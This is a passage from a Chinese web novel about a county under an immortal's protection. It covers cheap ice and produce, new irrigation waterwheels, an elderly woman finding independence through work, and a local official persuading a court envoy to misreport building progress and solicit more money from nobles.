因这桃子和甜瓜先前被放在三块冰里面提前冰了,所以眼下也是凉飕飕的。 ——这可以直接食用。 其实这样的吃法很方便快捷,但万惠一家是第一次吃。 毕竟以往冰价格太贵,吃不起。 桃子和甜瓜也因为种植方法不对导致的甜度不够,又小又涩,只能说压根不适合入口。 而如今物美价廉的冰有了,桃子和甜瓜前几日时,万氏就尝了几个,口味甚好,一番打听才知晓这些农人竟然都是靠着报纸,在其内学习农业知识。 报纸的农业学习版块包括了如何科学养护这些农作物,且最重要的是,这片土地属于仙师旗下的区域,有了仙师的庇护,土壤肥力自然要高出普通土地许多。 这肥力增加的事众农人早就发现了。 譬如阳县属于仙师境内,土地肥沃,而在阳县分界线外的土地,却是一眼就能看出来的贫瘠。 这当然是因为姜定先前的土地增益buff在发力,但无奈众人不知晓,这事早就被众农人传播得沸沸扬扬。 ——果然是仙师的仙法!若不是仙师给本地土地赐福,让土地肥沃,他们如何能在种植一事上顺顺利利? 如何能说明原先贫瘠的土地,会变成眼下这般肥沃的土地? 且众农人早就试过,在这肥沃土地上栽种的作物,都会改善口感,增加产量,提升抗病能力,这简直是神奇! 不过想到仙师都是神仙了,拥有这等让人震撼的能力也很合理。 于是这件事慢慢就被众人接受下来,再然后,这便成为了风仙县内为何食材都如此鲜甜好吃的主要因素,次要因素才是正确合理的科学养护。 当然,万惠打听得没那么齐全,只是知道因为仙师赐福,所以蔬果才会水嫩可口。 但头一次吃到甜美的桃子和同样甘美的甜瓜时,夫妻二人还是震惊了。 ——原来瓜果的甜味竟然是这般鲜美? 万惠只在那些大户人家家里见到过个头品相极好的蔬果,但均是价格不菲。 多是大户人家作为时令之礼互换。 他为人老实,性子又闷,从未得过主家赏赐,倒是看一同做事的匠人领过赏,得了一块仔细切好的甜瓜。 瓜果的清香味隔着很远都能闻到,一咬,皮脆脆的,那汁水破皮而出,似乎整个空气里都是这甜瓜的清新味。 记忆中对于那匠人的容貌已经模糊,但不知为何,那股清香味却弥漫开来,似乎和眼前自己手里拿着的甜瓜重叠在一起。 万惠低头再咬一口切好的甜瓜,配合着凉丝丝的冰块,不自觉眯起眼睛。 哎,这甜瓜真好吃,卖得也不贵,他花了4文一斤买的,桃子的话是6文一斤,都不贵。 总之往日,他从未想过能靠自己吃到这种品相的甜瓜,但如今,他不仅仅是吃到了,还吃的是加了冰的。 两个孩子吃得直点头,小心翼翼地含着冰,感受着凉飕飕的冰在唇齿间慢慢化开。 而万氏也是眯着眼,慢慢品尝那点桃子。 她小时候吃过一次品相极好的桃子。 当时她背着背篓,走在路上,晒得脸红,几乎晕厥时,路过的好心娘子停了马车,给她喂了点水,又给她一个桃子让她吃掉。 那桃子长得圆润可爱,泛着粉,和过往她见过的青色毛桃完全不同。 她只记得当初自己小心翼翼剥开皮,汁水流得满手都是。 一口咬下去,清香的甜味让她不自觉瞪大眼睛。 ——桃子也能这么好吃? 从此,这味道伴随了她多年,每一到盛夏都让她魂牵梦萦,只是之后她买过桃子,却再也没了过往的那个滋味,后来才后知后觉察觉,那桃子她压根买不起,不是给她们这样的人吃的。 本以为可能这辈子都要吃不到一口自己想吃的东西,倒是阴差阳错,跟着丈夫来了风仙县后,她尝到了熟悉的味道。 眼看两孩子还想再吃,万氏伸手阻拦。 “夏日贪凉,一会小心闹肚子,明日还能再买,今日不许吃了。” 眼看自家娘一副认了真的模样,两孩子虽说恋恋不舍,但还是乖巧点头,之后便钻进屋内读书去了。 因今日是周六,不需要上学,也不需要上工,万家四口人全在家中待着,既是休息,为犒劳家里,万氏喊丈夫和自己一同出去买点肉,回来好做点吃食给家里人补补。 风仙县物价并不贵,肉价比元城便宜多了,以往猪肉价低时,一斤大概是8文,因去年大旱,整体来说,三个州收成都不太好,人吃的东西都少,能给猪吃的东西更是没有多少。 既然都不知道用什么东西去喂猪,养猪的人自然而然就少了很多,猪肉价格也是飞涨。 所以即便是风仙县的猪肉涨价到15文一斤,众人也能接受。 毕竟同样的猪肉在元城要卖到50文一斤。 日常普通百姓哪里吃得起? 在猪肉铺子买了两斤肉,路过摆摊的卖鱼的,万氏问了问价格,大概在20文一斤。 鱼肉需要多用油,20文一斤不划算。 万氏最后挑挑拣拣了几条巴掌大的小鱼,一共花了7文,打算煎鱼后,和家里的两块豆腐一起炖汤喝。 说起煎鱼,两人顺路路过油铺,买些油。 家里的猪油罐只剩下一个底了,急需补充油。 好在本县就有压油厂,听说是用纺织厂分离出来的棉籽进行压榨制作出来的棉籽油。 棉籽油其实万惠以前并未吃过,他们以前吃的都是豆油,头一次吃棉籽油时,觉得这油带着一种独特的香气。 而万氏就稍好奇一些,她尝过棉籽油,吃起来有些许苦涩感,口感并不好,再加上油本身的颜色深棕色,还带着细渣,卖相也一般。 只是本县所产的棉籽油是怎么制作的?味道不比豆油差? 之后两人倒是打听后才知晓,原来是因为那棉籽需要炒熟后才进行压榨,可将其中的涩感大幅度去除,且能提升压榨效率和出油率。 至于压榨后剩余的棉籽饼,大多都被用于当做肥料,亦或是给沼气池投放。 先前万氏还好奇为何不将这棉籽饼喂牲畜,但很快便晓得了,这玩意若是喂养牲畜很是麻烦,每次都需要在喂养前水煮,石灰水浸泡去除其内的毒素,除了步骤复杂外,还需要定额定量,不然喂多了依旧会导致中毒,实在是麻烦。 除了棉籽油,压油厂还会生产出豆油,豆渣饼大都被用于喂养牲畜,自然棉籽饼就不需要了。 且相对来说,这两种油各占一半江山,其内还有一小部分的香油作为点缀。 主要还是因为大豆产量比棉花高,且有一部分人吃不惯棉籽油,所以这三样油目前是市场主力。 价格的话,豆油每斤25文,棉籽油每斤15文,香油贵点,一斤50文。 但万氏对这价格已经很满意。 这是过往平常的偏低的价格,和元城翻了两三倍的物价对比,风仙县的物价堪称感人。 香油打了一两,棉籽油打了一斤,共花了20文。 万惠提着重物跟着万氏往家走去,夫妻二人眉眼都带着笑。 正是出门采购的点,两人回家时自然遇到了同样采购回来的邻居们。 ——大都是万惠的同伴们,也来自于元城。 众人手中要么提着鸡鸭,要么拎着肉和鸡蛋,看来想法都和万家夫妻一样,趁着周六犒劳家人一番。 几人错身而过时互相打了个招呼,互相对视而笑——看来,这日子真是越过越好,越来越有盼头了! 第270章 落下 风仙县。 先前姜定根据地形设置了灌溉农田的两种装置,当初他只是点击了建筑,之后的事便一概不管了。 毕竟这在姜定看来很合理,哪个基建游戏不是这么搞的? 而事实上,方知意是在第二日才收到的这消息的。 其实对于本县农业灌溉方面,方知意也正巧要处理这问题,还不等她发力,仙师倒是先行将图纸一并发了过来,甚至不需要她费心思去查阅,只需要按照这给出来的图纸建设机械而已。 展开那两份图纸,方知意发觉这图纸精巧无比,竟然将本县,乃至附近县域所面临的灌溉问题一并考虑到了。 她虽说不是很懂机械,但大概看看图纸,还是知道这到底是怎么运行的。 原先方知意有什么事不会去打扰到仙师,主要原因是因为对方忙碌,如今没想到,还不等她处理,仙师已经将解决法子想好了,这何尝不是仙师对百姓上心的证据? 想起先前的制冰厂也是因为仙师提议才建设成功的,方知意难免内心感慨。 ——仙师是何等的悲天悯人,又是何等的品行高洁。 她以往一贯是这么想的,只是越跟在仙师身后,只会觉得越来越敬佩,无形中,也试探着将自己的做人标准拔高到仙师那种境界。 很快,官府特供的木匠们此刻便负责将此物复刻出来。 因这筒车和翻车的设计图都有,众人自然是先行做出来试验品,随后便试验一番,不断调整。 设计图给的尺寸很精准,运行下来没有大问题,很快,先前仙师规定需要放置的区域,此刻都在紧锣密鼓的建造。 因这事是仙师亲自叮嘱过的,方知意特意调了不少人去协助支援,帮忙迅速将这两样器械装置普及到位。 大概过了有一周,在众多人手的帮助下,特定区域的筒车和翻车总算安装完毕,即刻便投入使用。 方知意眼看那筒车在水流的冲击下自发推着水往下走,徐徐灌入农田内。 午间的太阳依旧刺眼,但代表生命的水源正源源不断,细密的流淌入农田内。 她大概看了看,若是按照这样的速度,这一片的灌溉基本上是不需要人力了。 而至于翻车的话,方知意也看了一眼,同样运转良好,且实力解放了人力。 尤其是翻车能够从低处往高处运送水,省力不少。 县内很忙碌,既然两样都能顺利运转,方知意自然回了县衙内继续忙碌,而围观群众还在瞪大眼睛琢磨。 “这两样东西居然可以自己灌溉农田了这是仙师赐下来的东西?” 虽然疑惑,但是无脑相信仙师。 “十有八九是吧,反正我还从没听说过有这么好的东西存在,这浇水方便许多,能省太多事了!” “谁说不是?没有翻车,还得人拎着水上去灌溉,一天天下来,迟早要热死。” 最近温度炎热,若是有选择的话,谁也不愿意出门,但庄稼不等人,若是不浇水,枯死了,或者收成下降算谁的? 至于这作物浇水分情况,难伺候的,花期的,大概一天需要浇两次,中午和晚上各一次。 好一些的,也得两三天一次,毕竟每次浇水其实浇不透,表面浅层的水很快就蒸发掉,若想让植物长得更好一些,必须要更勤劳的浇水才是。 只是顶着高温在田地间忙碌,难免会头晕脑胀,也有人中暑被抬着进了医馆。 众人会避开最热的时候,下午三四点过来浇水,但也热,还累。 但对于众人来说,这种苦完全能接受,毕竟以往都是这样过来的,最热的时候就这一个月,忙活完这最热,庄稼最需要水的阶段,日后就好多了。 且相比于劳累,他们更害怕颗粒无收。 还好今年因为仙师庇护,土壤肥沃,种子优秀,眼看浇水跟上的话,想来产量不错。 所以大伙还是很卖力的。 直到这自动灌溉水的器械安装完毕,眼看着日后仅需要少量人力和畜牧便能灌溉好一大片农田时,懂的的人都哭了。 哎——可算是解放了啊!知道要干活和喜欢去干活完全是两码事啊! 在风仙县的自动灌溉系统设置好了后没多久,其余附近的,属于仙师旗下的县域内也将灌溉系统铺设完毕。 浇水效率显著提升。 不用顶着大太阳出门浇水,且屋内还放置着便宜的冰块降温,这个夏天对众人来说可谓完全是一种新奇的体验。 廉老太也是如此。 她其实家里情况还算过得可以,三个儿子,两个闺女。 只是丈夫在几年前病死,丢下她一人,于是廉老太每隔几个月跟着三个儿子中的一个轮流住。 如今她正是跟着小儿子住。 在以前仙师不曾来前,说实话,廉老太和廉老汉几乎为了儿女们付出一切,但等到真正人老了时,依旧要小心翼翼看着儿女心情养老。 廉家算是普通家庭,但并非那些个对女儿很差的,所以两个女儿对廉老太倒是不错。 而三个儿子相比于女儿,就不算热心了。 廉老太过了相当长时间的苦涩日子,直到仙师来了后,这情况才好转。 她如今是跟着小儿子一起住,说实话,对她不错,起码在三个儿子里最好。 小儿子廉欣年岁不大,算是她的老来子,刚娶了媳妇不到两年,家里还没有孩子。 儿媳妇人也不错,对廉老太很可以,再加上廉老太还会帮着干点力所能及的活,并不会像是以往那些婆婆一样看不惯儿媳妇,所以一家人相处得很和谐。 因前几日冰卖的便宜,他家人口少,若是廉老太不来的话,只能买两块冰,既廉老太过来了,儿媳妇苗苗忙购入三块冰。 两块放在房间里降温,另外一块做些饮品足够了。 等廉老太吃着冰饮,感受着房间内丝丝缕缕的凉意时,觉得这辈子活得也值了。 ——她是个不识字的,先前儿女们将她送到扫盲班,倒是不是为了让她日后好去工作,仅仅是想着她得学会点本县常识才是。 当初她很惶恐,毕竟读书认字,对于一个上了岁数的老人来说实在是一种陌生的恐惧。 但儿子们轻飘飘的一句话就将她的恐惧堵了回来。 “娘,你就去吧!你看你去哪家住都得帮着添把手,这不懂得日常常识,这去了岂不是添乱?” 廉老太沉默后便去了。 他们本来没期待廉老太能顺利从扫盲班毕业,结果廉老太很争气,一把过了,还靠着这扫盲毕业证,给自己在家附近找了个客栈的活。 主要是给离开的客人收拾干净床铺,整理房间,每日也有一百文,且不算累。 要是按照廉老太原先的性格会将这笔钱都给家里的孩子们分了。 但从那扫盲班上出来后,廉老太就变了。 只是逢年过节给几个孙子孙女点零用钱,大部分钱都被她留着自己花。 还暗示过,哪个孩子对她好,日后她那些钱便给那个孩子。 一开始廉老太这样,还有人不乐意,但看到自家母亲态度坚决,且往年母亲确实有什么好的都想着他们,如今岁数大了,廉老太又不要他们补贴,只是不愿意给钱了,在难受了一小会后,他们也不得不同意。 当然,最主要的原因是,本县的县衙不是吃素的。 按照廉老太往日对家庭的付出,若是他们因为自家娘如今不给钱而给廉老太甩脸子,甚至不愿意赡养老人,那么很快这点事就会传得到处都是,说不定还会被评个道德水平低下,狠狠扣一把信誉分。 想到这代价实在是不小,他们就算不乐意也得乐意了,只能安慰自己好歹不用他们花什么钱。 知道廉老太每个月也能攒个二两多后,原先对老人不太上心的其余两个儿子也上心起来,时不时给她送点吃的,虽说都不贵,但比以前强一些。 廉老太万分庆幸自己做的决定。 她本来是想不到这些的,但谁让她去上了扫盲班,原先被日常琐事塞满了的大脑,在开始学习扫盲课程后才开始缓缓运转。 那些纷杂的思绪被课堂意外的抚平,她学会了许多,这些知识和新奇的观点冲刷着廉老太的神经。 她原先觉得自己还算开明,毕竟当初没几个人对女儿那样好。 但上了这扫盲课后,廉老太的思维开始慢慢运转,她开始逐渐靠着过往的经验和新得到的知识试探着。 譬如,她原先只觉得要奉献,三个儿子才会好好给她养老,至于两个女儿的话,她从没打算住在女儿家,主要是怕女儿夹在中间难做。 为了体现出自己的价值,当初廉老太负责了家里的家务,还顺带带孩子,累得要死,又期待着能靠自己的付出得来儿子们的养老。 直到她看到三个儿子的表现都令她很是难受。 ——是养老了,给口饭吃,随便给个地方睡觉,往日负责做许多杂活,她不像是娘,像是免费的粗使婆子。 受到事实打击后,廉老太说不苦闷是假的,但好在她慢慢从扫盲班里琢磨出一个道理,这道理弄得她夜不能寐,每次一想,心头就异常滚烫,心跳得仿佛要飞出去。 ——她当了一辈子女儿,母亲,妻子,如今人老了,只想为自己好好活一次。 抱着这种堪称疯狂的想法,廉老太毕业了,顺利拿到扫盲证,还努力找到了一份工作。 日薪一百文,包吃包住。 搁在以往,廉老太不敢想。 她这辈子没拿过这么高的工钱,同样的,她这辈子为了生存,迫于惶恐,都是依附于别人。 像是野地里的蒲公英种子,风一吹就散开,然后歪歪扭扭的落下去。 一开始,她落在父母的家。 男孩生来要比她这样的女孩要金贵。 她吃很少的饭,做许多的活,挨更多的骂。 等到到了岁数,匆匆忙忙出嫁。 出嫁的那天,廉老太和家里都很高兴。 家里喜的是男方给的彩钱,廉老太喜的是她有个新家,不用挨打挨骂,能远离吃不饱饭,做不完活的日常。 从这头飞到那头,来到了她丈夫的家。 在这个家,廉老太的那点欣喜很快便被磨干净。 她为他生儿育女,照顾父母,操劳家中,却时常觉得自己格格不入。 这不是她的家。 她生了三个儿子,两个女儿。 廉老太心想她遭过的苦,不想再让女儿受一回罪。 往后的日子里,她觉得自己不是人,更像是一头只会干活,无暇思考的驴子。 等到公婆丈夫逝世,儿女也成家后,她满心欢喜,以为自己的孩子会是她最后的家。 却悲哀的发现,原来她这辈子从未有过家。 她像是那朵蒲公英,一直在漫无边际的飞舞。 每当以为落脚处是肥沃的土壤,根茎刚往下去扎,便被坚硬的岩石阻挡。 她飘来飘去,找不到一个足以扎根的地方。 直到凭借自己找到的这份工作。 它在说这里可以扎根。《 》 270-280 第271章 回访 家里的其他人其实不是很明白廉老太的想法。 在他们看来,他们作为普通人,对待母亲已经很不错了,毕竟出了门打听打听去,哪家不是这样的? 实在是家里条件艰苦,若是家里条件好了,谁又愿意不好好伺候着母亲? 但这种事谁能预料得到? 毕竟廉老太也可以说她日后若是有钱了,一定每个孩子都给分个百八十两的。 但这不是她很难变得有钱,那些想象中的东西仅仅是想象而已,对她如今的生活什么改变都没有。 廉老太很快便去了客栈工作。 这是她生平头一次自己出去工作赚钱,自然又紧张又期待。 小心翼翼的干完一天的活计,廉老太洗漱干净,躺在客栈供给活计睡觉的小床上时,她突然觉得还挺不真实的。 ——就这么轻松的干完啦? 没什么实感,甚至她觉得这活计比她以往在家里做过的所有活计都轻松。 想到过去丈夫总是说外面的工作不好做,她惶恐之余,自然是不会让丈夫干任何一点家务活的。 那个时候,廉老太觉得外面的工作想必比她干的活要难多了,毕竟她做的活赚不到钱,而且也是每个女人都要做的活计。 但丈夫的不同,丈夫的活计可以赚钱,这是供养全家生存的唯一出路。 那个时候,廉老太对丈夫很顺从,好的是丈夫脾气还不错,至少周围的女人们都挨过打,她没有。 这已经足以让她心满意足。 就这样过了一辈子,直到丈夫死去。 她开始惶恐——这偌大的世道,她该去哪儿维系日后的生活? 她赚不到钱,没有一个地方肯让女人赚钱,她日后只能靠着儿子们养老了 廉老太翻了个身。 过去的记忆她觉得自己都快忘了,但如今那些记忆再次钻了出来,在她耳边吵得她几乎睡不着觉。 此刻她只觉得脑袋想到的东西混乱而又毫无头绪。 廉老太翻了个身,上铺开始发出细微的摇晃声。 “嘎吱嘎吱”的,声音不大,却实实在在让她停下动作。 得轻点,别吵醒了下铺的郭老太。 这郭老太和她的情况不太一样,出来工作只是为了贴补家用而已。 不像她,赚钱只想着为了花。 廉老太心里觉得很难受,这偌大的地方,她连个能说真心话的人也没有。 这会索性睡了过去。 日子一天天的过,虽说潜意识深处,廉老太依旧会为自己的行为觉得不太舒服,毕竟这附近还真没她这么做的。 但同时,她能感觉到她的日子过得确实好了。 无论是孩子们对她的态度还是她能支配的东西,都在增长。 比如,她现在几乎是想买什么就买什么,不用考虑着该怎么给掌钱的开口,又费尽心思说些好听的话。 日子一久,廉老太倒是在客栈呆得挺痛快。 虽说天气一样热,但自从她呆在这客栈住后,便自己将自己的那块冰买回来,放在住宿的地方。 下铺的郭老太偶尔会和她一起住几天,又隔几天回她的儿女家住。 这郭老太不太讲究,总会占点小便宜。 比如大热天的,把自己那块冰给孩子们,过来和她蹭一块冰。 两个人用一块冰,自然不太够用。 廉老太忍了好几日,总算变着法子劝她将那块冰带回来——这花钱是小事,关键是一个人只能买一块,多了也没有了。 明明这个夏日能好好过,非要两个人热乎乎的过。 劝了一番,最后以廉老太认输为结果。 原因是郭老太说她家的小儿子得了什么病,她的那块冰被带过去敷着了。 廉老太也没办法,毕竟这话都说到这里了,只能作罢。 本以为这夏日要这么凑合过下去时,等到某日下班后,廉老太一进屋内,就感觉到温度降低了。 再定睛一看,加上她那块,里面放着两块冰。 稍微一想,她便知晓原因了。 肯定是自己过得舒服,郭老太羡慕,同时在儿子那边受了挫,索性学着她,自己出来住算了。 自然,这冰块也要了回来。 等到郭老太回来,她甚至还没开始打探,对方就红着眼,数落着几个不孝子。 哭了一会,眼睛泡得发肿,最后抹抹眼泪对着廉老太感慨。 “还是你看得清楚。这钱捏在自己手里才是最好的,我看你这日子过得可比我好多了,从此以后,我也要学你。 毕竟咱们这个年纪了,还有多少好日子能活?” 廉老太递给她一块手帕,以往对郭老太的细微不满也尽数消散。 ——算了,这不怪她,要怪就怪过往世道烙印在她们深处的那些规训,而如今肉眼可见,那些烙印正在逐渐减淡。 也是有意思。 两人开始好好享受自己生活没多久,竟然又多出了不少别的上了岁数的人对她们二人所做之事悉数效仿。 一时间也混乱一段日子。 譬如官府接收了数起类似父母失职的案子。 但等官府人员到了现场,仔细评判一番后,大部分案子都是父母赢。 人的适应力是很好的,至少时间久了,不少儿女们已经完全适应了这情况。 现如今都能和街坊邻居淡定互相谈论这行为。 以往见了面是问“吃了没”,如今换成了“你父母闹了没?” 总之日子一久,大伙竟然是都潜移默化接受了。 这消息自然早就传到了方知意耳内,她只是点点头,表示自己知道了。 ——这是好事,至少灵魂不再麻木,开始追求更深层的东西。 方知意最近忙着查看全城。 不单单是风仙县,别的县域也要操心。 虽说有祝大人帮忙,但要操的心确实不少。 好在是最近灌溉装置安装后,农作物状态持续走好,看样子今年秋收应当是个丰年。 倒是陈京行又派甘林来了一次,稍微带了点钱,主要是催促她们理应做的事。 方知意面上焦急,扯了几个很可信的理由,但实际上,她除了让手下的人在那附近晃了晃后,别的啥也没干。 随着时间延长,陈京行对她的信任度是越来越少,偏偏还不能直接翻脸,只能时不时让甘林过去催促一二。 等过了一个月,看到对方似乎没有要动手的样子,他麾下负责打探的人告诉他,风仙县的人看着只是在溜达,并未真的计划做。 陈京行心里一阵恼火——这风仙县的统领居然是个这样说话不算话的? 不过是投名状而已,这都不愿意做,说明此人根本就不想站队。 陈京行本想翻脸,但想到原先他借给对方的二十来万两银子,刚上来的火顿时卡在半路 这,钱还在对方手里呐!这可不是一笔小数目,不然先把钱要回来再说别的。 陈京行打定主意,让甘林前去收回借款。 但去了几次,均被对方敷衍回来。 等到连续受挫几次,没能拿回来这笔借贷,陈京行还有什么不明白的! 自己这是被耍了! 意识到这事实后,陈京行脸上划过一抹阴冷。 他原先不过忌惮那风仙县所谓的仙人而已,最近他找人打听那风仙县,似乎不曾听到风仙县内的仙人有所动作。 难不成是离开了? 毕竟在陈京行的考量内,这仙人都已经成仙了,何必非要在这小地方呆着,大可去别的地方一展身手。 再说了,都成仙人了,还有必要在意这些凡人们的想法? 回想到原先风仙县内的怪异之处,义师军曾被那仙人打得抱头鼠窜。 陈京行不自觉微微眯起眼睛。 诚然那仙人的确厉害,但如今仙人许久不曾出现,这岂不是说明对方当日只是路过风仙县,而非将风仙县作为自己的领地。 这么一来,他倒是不需要忌惮这小小的风仙县。 陈京行是个谨慎的人,他习惯于在行动前先去打探对手。 于是,一批探子被送到风仙县附近,负责打听清楚那风仙县内到底还有没有仙人再现。 同时,陈京行召来麾下负责打仗的好手,让对方先行准备,最迟于秋收之际将作战前的准备工作做好。 眼看一大早,陈总督家门口来来往往过了好几批人,甘林的心脏剧烈跳动。 ——看来总督这是被风仙县这番堪称无赖的操作气到了,这明显看着像是要准备开打。 毕竟甘林看得清楚,那一个个被叫过去的,大都是打仗的好手和谋士。 因为从甘林手中借出去二十来万两,且这些钱眼看没有收回去的机会,甘林其实很恐惧。 毕竟当初陈总督问他这事有几分可靠时,他还保证说这事有很大概率可靠。 这会好了,二十来万两血本无归,若是这些钱被投入练兵,可是能花很久了。 因过往甘林立过几次大功,陈京行虽说不至于杀死对方,但也因为这次的事对他颇为不满,于是便将甘林的份位往下贬了许多,如今的甘林不过是一个小得不能再小的普通信使而已。 但说实话,甘林松了口气,他以为他死定了 还好只是被降级了。 虽说不再受宠,但这个时候,能保住命已经很可以了。 他不敢有过多的奢求。 黎州元城。 杨舒也被保皇派推出去去风仙县再次出使。 表面上是带过去皇帝的慰问,实际上,他主要的任务是过去看看那所谓的庙宇和行宫到底建到哪了。 毕竟这都两个多月了。 这些人虽说一开始冲着那神奇的酸辣粉冲动了一波,但随着时间流逝,几人都觉得还是派人过去亲眼看看的好。 这会自然让杨舒带着小队前去风仙县。 这支队伍人不多,也就二十个人。 且还是原先的老人马。 在花费了五日后,这行人总算到达风仙县,就等着进去看看建到哪儿了。 第272章 劝降 杨舒一行人风尘仆仆的赶来后,对方还是如往常一样等着他们入内拜见。 上次来的时候这里的路面就全部铺设成了三合土,杨舒在感慨风仙县有钱的同时,没忘记自己这次来的主要目的是啥。 等再次见到方知意,杨舒在恭维一番后,委婉提议想去看看行宫和庙宇的修建进度,并且委婉的表示了宫内众人对于这两样建筑的关心程度。 方知意先是推脱了一日,等杨舒心里七上八下时,这才带着对方前去那所谓的行宫。 他去的时候自然是没带别人。 只有方知意带了人。 杨舒不是不想带,而是不能带。 只能一个人前往。 一路上他先是紧张,而后又开始自我安慰——不会的,不会的,这风仙县就算是再大胆都不可能在答应了朝廷后一点都不建造吧? 即便像是陈京行这么嚣张的,至少如今面上还和皇帝过得去。 而像这种建筑最多就是贪点钱,只要能够建起来就行,反正他作为一个普通信使,只需要肉眼看到的东西看上去好用就行了,至于里面用的材料是好是坏,这可不在他的管辖范围内了。 等到杨舒跟着方知意坐着马车,行进了一个时辰,来到了一片听着就热闹的地方。 他是想掀开帘子看看外面的,但琢磨反正要到了,还不如等下车了再看。 马车门帘被外面的人拉开,杨舒本以为下车后会看到漫天飞舞的黄土泥沙,光着膀子干活的匠人,总归一定是一副他以往曾经看到的画面。 结果等仔细一看,发现目光所及之处,别说建造什么庙宇行宫,这完全就是一条闹市啊! 杨舒不明白方大人这是何意,他满脑子充斥着一句话——完蛋了!按照目前来看的话,对方压根不像是乖乖建了行宫和庙宇啊 他到底该怎么回去交代? 眼看杨舒的脸色在极短的时间内变了好几变,方知意倒是不急,淡淡开口。 “杨使者,你看我县内这些人生活如何?” 杨舒心想这人也太缺德,他现在都要惨了,这会居然还能让他这个受害人给她拍马。 心里不乐意,但人在屋檐下,不得不低头。 这会杨舒勉强打起精神看向这人群,发现人群个个活力满满,一看就是一副对未来充满希望的模样,最重要的是,这次不比上次他没能看齐全,这次方知意特意带他来了更为繁华热闹的街道,其中不乏有路边摆摊的。 售卖一些本县特色食物,亦或是售卖一些别的东西,总归杨舒很快便发现,这里的物价要比元城低多了。 本以为可能是品质的区别,但在看到对方两文钱一斤的细腻盐巴,三十文一斤的白糖,十五文一斤的猪肉后,杨舒感觉自己的人生价值观被冲击得七零八落。 若是这里的东西差点就算了,但现在明眼人都能看出来,这里的东西是又便宜又好啊! 他有些呆愣,甚至来不及回应一旁的方大人,便自顾自的开始继续查看这两地的区别。 默默对比一番后,杨舒立马知晓,此地民众过得很不赖。 他要来看行宫和庙宇的建造进度,如今对方却带他来到这条繁华的街道,其中所蕴含的意思,杨舒自然一点就通。 眼下,杨舒大着胆子打听先前一共送来的大概八百来人到底去了哪。 虽说不能具体说明这八百人负责的具体活计,但大概去的地方还是能说一说的。 等到杨舒听到那些匠人如今居然都能拿到三四百文日薪时,自然不敢置信。 ——不是,开什么玩笑,他冒着被砍头的风险,每个月也只是勉强养活家人而已,如今这些匠人们居然能赚这么多钱? 杨舒吃惊之余,在听到前一批三百多匠人的家属也都来了本县后,这会正陷入怀疑人生中。 所以说,堂堂一个都城,元城居然比不过风仙县这样的县城? 的确匪夷所思。 方知意只是简单说了几句,其中大部分都是杨舒自己秒懂的 这地竟然这么好。 别说,杨舒是真心动了。 他做使者累死累活一个月也才一两半,还要冒着生命危险,而这些匠人日薪三四百两,一个月得快十两了,还不用担风险。 就算他干不了这匠人的高薪活,按照本县最低工资,日薪一百文计算,一个月也能拿三两。 这也是他原先工资的一倍了,且元城的物价可比这里高多了。 一时间,杨舒就很懂那些匠人从元城跑来这边生活的原因了。 这只要不是个傻子,谁都能算出来哪边更舒服,更是人呆的地方。 但除了薪资待遇,杨舒最关心的自然是事情败露之后,一个小县城如何能承受朝廷的怒火。 等到他知晓了仙人的存在后,杨舒早就麻木的心突然微微一跳。 但相比于缥缈的仙人,他其实更难相信风仙县能打赢那堪称庞大恐怖的朝廷。 别说朝廷,恐怕是附近的陈京行都能将这风仙县拿下。 方知意倒不说别的,只是淡淡道:“杨使者,若你此事办得不妥,回去后会面临什么?” 杨舒微微一愣,表情逐渐变得难看凝固。 作为一个本就没什么后台的使者,他自然一向干的活要么危险,要么没什么油水。 原先本以为他好歹是走运了,赶上捡了个漏,结果这是个大坑啊! 杨舒简直欲哭无泪,回去了,他若是被追责,被辞退,投放进大牢就算了,但他的家人该怎么办? 运气不好的,连累家人,运气好点的,虽说不连累,但全家失去了他这个劳动力,又该怎么在元城生存下去? 一时间,杨舒仿佛已经看到了向自己逐渐靠拢的悲惨命运,这会心中难免一番绝望。 看到杨舒不再开口,一副沉默的模样,方知意倒也不催促他,只是慢慢悠悠道。 “杨使者,若你能拖延一二,我会让你的家人安稳的来到本县,并且承诺给他们一份合理的工作,你意下如何?” 杨舒知道他没有选择。 说实话,他确实担心风仙县的抗风险能力,但这些都是远期需要注意的。 若是他老老实实回去复命,最大的可能就是家破人亡——就算侥幸运气好,家人没被他拖累,但总归在元城找不到活计可做,没钱赚可不就意味着距离死亡不远了? 与其眼睁睁看着结局走向悲惨,还不如拼一把,替这风仙县的县令大人隐瞒下来,而后听从对方的吩咐,将家人送过来,这样就算日后东窗事发,他就算死了,好歹也保全了家人。 等到日后若是风仙县正熬不住了,想必朝廷,亦或是陈京行,也不至于会将这么多百姓赶尽杀绝。 最坏的结果,真赶尽杀绝了,那也多活了一阵子,起码多过了一段好日子,总比立刻就迎接坏结果好得多。 两害相权取其轻。 杨舒最终选择了同意。 至于他需要干到设什么时候,据方大人所说,起码需要做到对方考虑再换使者时,到时候他就可以结束这份工作。 杨舒心想,方大人真恐怖,等他下任后,恐怕方大人会用同样的理由让下一个使者同意。 但如今,这都不是他应该注意的地方。 从这闹市乘马车回去县衙,杨舒一晚都辗转反侧,直到第二日,他这才带着队伍又行驶了五日,这才回到了元城。 一见朝廷那几位位高权重的大能们,杨舒立即恭恭敬敬将自己所“见”的描绘出来。 具体每次该说些什么,早在昨日,杨舒就记住了方大人送来的纸张。 这会自然按照其内所说,将庙宇和行宫的修建进度告知几人。 因方知意给出的版本十分切合实际,几人在心中琢磨一番,发现这进度和他们预估的差不多,甚至比他们预估的还要更快一些,自然对这风仙县县令充满了好感。 再加上这是第一次让使者前去探探虚实,所以五人都不曾多琢磨别的。 等到杨舒告辞退下后,五人很快各自回家,而在当晚,杨舒却暗自分开拜访五家。 给每家都送去了一份酸辣粉。 说那仙人对他很满意,特意让带了一份神赐之物。 其中给钱最多的是白家,给了五万两,如今又得到了据说是仙人唯一给出的神赐之物,自然欢喜。 “那山神还说什么了么?” 这会自然想多打听打听。 起码得打听打听山神对他的态度,是否关心,是否看得顺眼。 杨舒忙胡扯一通,大概意思就是山神很看好他,因为他慷慨,于是暗戳戳的将需要钱继续修建的鬼话扯出来。 当然,这招自然是方知意的意思,但杨舒觉得对方不会那么快给钱吧? 毕竟这五个人平时一个比一个精明啊。 本是这么想的,直到看到对方又不知道从哪儿弄出来三万两的银票塞了过来。 让他下次带过去。 杨舒:平时这些人是挺会装,一个个演得他流泪。 杨舒自然应下,临离开前,因为白家掌权人的心情不错,他还得了三十两的赏银。 这可不是一笔小数目,杨舒从未得过赏赐,像他这样的小使者,最多给个十两已经很多了,这三十两,还真阔气。 杨舒如法炮制,将其余的酸辣粉挨个给送过去,说辞大概都差不多,换汤不换药,均是想要对方再给点钱。 